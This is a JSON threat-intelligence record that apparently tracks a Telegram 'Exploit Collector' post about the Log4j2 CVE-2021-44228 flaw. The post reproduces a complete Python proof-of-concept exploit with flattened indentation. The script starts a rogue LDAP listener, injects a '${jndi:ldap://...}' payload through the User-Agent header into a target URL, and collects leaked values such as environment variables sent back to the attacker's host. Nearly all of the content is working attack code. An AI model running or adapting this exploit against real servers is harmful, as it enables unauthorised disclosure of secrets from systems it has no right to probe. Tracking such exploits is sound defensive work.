{"uuid": "b16590dc-60bb-4293-b72d-11a927915ba5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-44228", "type": "seen", "source": "https://t.me/hacking_Attack/34973", "content": "Exploit Collector\nApache Log4j2 2.14.1 Information Disclosure\n\nhttps://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png \nApache Log4j2 versions 2.14.1 and below information disclosure exploit.\n\nMD5 | 06d3e26d3fef24f9f391415ab31a372d\n\nDownload\n# Exploit Title: Apache Log4j2 2.14.1 - Information Disclosure\n# Date: 12/12/2021\n# Exploit Author: leonjza\n# Vendor Homepage: https://logging.apache.org/log4j/2.x/\n# Version: <=\n# CVE: CVE-2021-44228\n\n#!/usr/bin/env python3\n\n# Pure python ENV variable leak PoC for CVE-2021-44228\n# Original PoC: https://twitter.com/Black2Fan/status/1470281005038817284\n#\n# 2021 @leonjza\n\nimport argparse\nimport socketserver\nimport threading\nimport time\n\nimport requests\n\nLDAP_HEADER = b'\\x30\\x0c\\x02\\x01\\x01\\x61\\x07\\x0a\\x01\\x00\\x04\\x00\\x04\\x00\\x0a'\nclass ThreadedTCPRequestHandler(socketserver.BaseRequestHandler):\ndef handle(self) -> None:\nprint(f' i| new connection from {self.client_address[0]}')\n\nsock = self.request\nsock.recv(1024)\nsock.sendall(LDAP_HEADER)\n\ndata = sock.recv(1024)\ndata = data[9:]  # strip header\n\n# example response\n#\n# ('Java version 11.0.13\\n'\n#  '\\x01\\x00\\n'\n#  '\\x01\\x03\\x02\\x01\\x00\\x02\\x01\\x00\\x01\\x01\\x00\\x0b'\n#  'objectClass0\\x00\\x1b0\\x19\\x04\\x172.16.840.1.113730.3.4.2')\n\ndata = data.decode(errors='ignore').split('\\n')[0]\nprint(f' v| extracted value: {data}')\nclass ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):\npass\ndef main():\nparser = argparse.ArgumentParser(description='a simple log4j\n<=2.14\n'(ref:\nhttps://twitter.com/Black2Fan/status/1470281005038817284)')\nparser.add_argument('--target', '-t', required=True, help='target uri')\nparser.add_argument('--listen-host', default='0.0.0.0',\nhelp='exploit server host to listen on\n(default: 127.0.0.1)')\nparser.add_argument('--listen-port', '-lp', default=8888,\nhelp='exploit server port to listen on (default: 8888)')\nparser.add_argument('--exploit-host', '-eh', required=True,\ndefault='127.0.0.1',\nhelp='host where (this) exploit server is reachable')\nparser.add_argument('--leak', '-l', default='${java:version}',\nhelp='value to leak. '\n'see:\nhttps://twitter.com/Rayhan0x01/status/1469571563674505217 '\n'(default: ${java:version})')\nargs = parser.parse_args()\n\nprint(f' i| starting server on {args.listen_host}:{args.listen_port}')\nserver = ThreadedTCPServer((args.listen_host, args.listen_port),\nThreadedTCPRequestHandler)\n\nserv_thread = threading.Thread(target=server.serve_forever)\nserv_thread.daemon = True\nserv_thread.start()\ntime.sleep(1)\nprint(f' i| server started')\n\npayload = f'${{jndi:ldap://{args.exploit_host}:{args.listen_port}/{args.leak}}}'\nprint(f' i| sending exploit payload {payload} to {args.target}')\n\ntry:\nr = requests.get(args.target, headers={'User-Agent': payload})\nprint(f' i| response status code: {r.status_code}')\nprint(f' i| response: {r.text}')\nexcept Exception as e:\nprint(f' e| failed to make request: {e}')\nfinally:\nserver.shutdown()\nserver.server_close()\nif __name__ == '__main__':\nmain()\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:04.475333Z"}